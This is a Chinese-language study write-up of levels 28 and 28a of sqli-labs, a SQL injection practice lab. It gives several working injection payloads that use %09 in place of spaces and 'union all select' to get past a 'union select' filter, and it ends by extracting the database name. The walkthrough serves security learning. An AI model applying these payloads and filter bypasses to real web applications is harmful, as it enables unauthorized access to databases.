sqllab第二十八关通关笔记(附带28a)

知识点:

  • union select 整体过滤
    • union all select 替换
  • where id=('输入')
  • 空格 + 过滤了,使用%09代替

经过不断的测试,发现原始语句为 where id=('输入')

构造payload:id=1')and%091=('1

成功回显出了相关的信息

好,尝试进行错误注入

构造payload:id=1')and%09exp(710)=('1

发现没有任何的回显信息,说明这里不能用错误注入

尝试进行联合注入

构造payload:id=0%27)UNion%09SElect%091,2,3%09and1=(%271

发现利用大小写不能够绕过

经过测试发现它是过滤union select整个字段,好好好,那么利用union all select绕过

构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了,但是内容不是输入信息,应该是他把-1进行绝对值处理了,导致显示了id=1的内容

重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了输入内容,发现有两处输出点,猜测是前两位,但是测试发现只有用户名处是输出信息,密码不受影响

获取数据库名

构造payload:id=0%27)union%09all%09select%091,database(),3%09and1=(%271

成功获取到了数据库名,之后的信息也一样

附带28a

28a关和28关的区别在于这关只对union select进行了过滤

同样可以用28关的payload进行处理,具体就不实操了,参考上面的方法就行了

10

相关推荐
一隅论数智1 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
深圳老胡1 天前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
Because_of_Her11 天前
并查集-听课笔记
笔记·算法·并查集
彧azz1 天前
Linux 环境下 Redis 学习总结:数据类型、持久化、锁、事务、主从与缓存问题
linux·redis·笔记·学习·面试
陈卫军老师1 天前
陈卫军:把口味写在一张纸上,店才稳得住
经验分享·笔记·流量运营
`流年づ1 天前
人工智能学习笔记 - 补充
人工智能·笔记·深度学习·学习
qeen871 天前
【Linux】操作系统之进程介绍(二)
linux·笔记·学习·进程
从零开始的嵌入式之旅1 天前
day47
arm开发·经验分享·笔记·嵌入式硬件
陈年老古董1 天前
MediaPipe 姿态检测与脸部关键点检测
笔记·python·opencv·学习·dlib
彧azz2 天前
操作系统时间管理与系统核心板块学习总结
c语言·笔记·学习·系统架构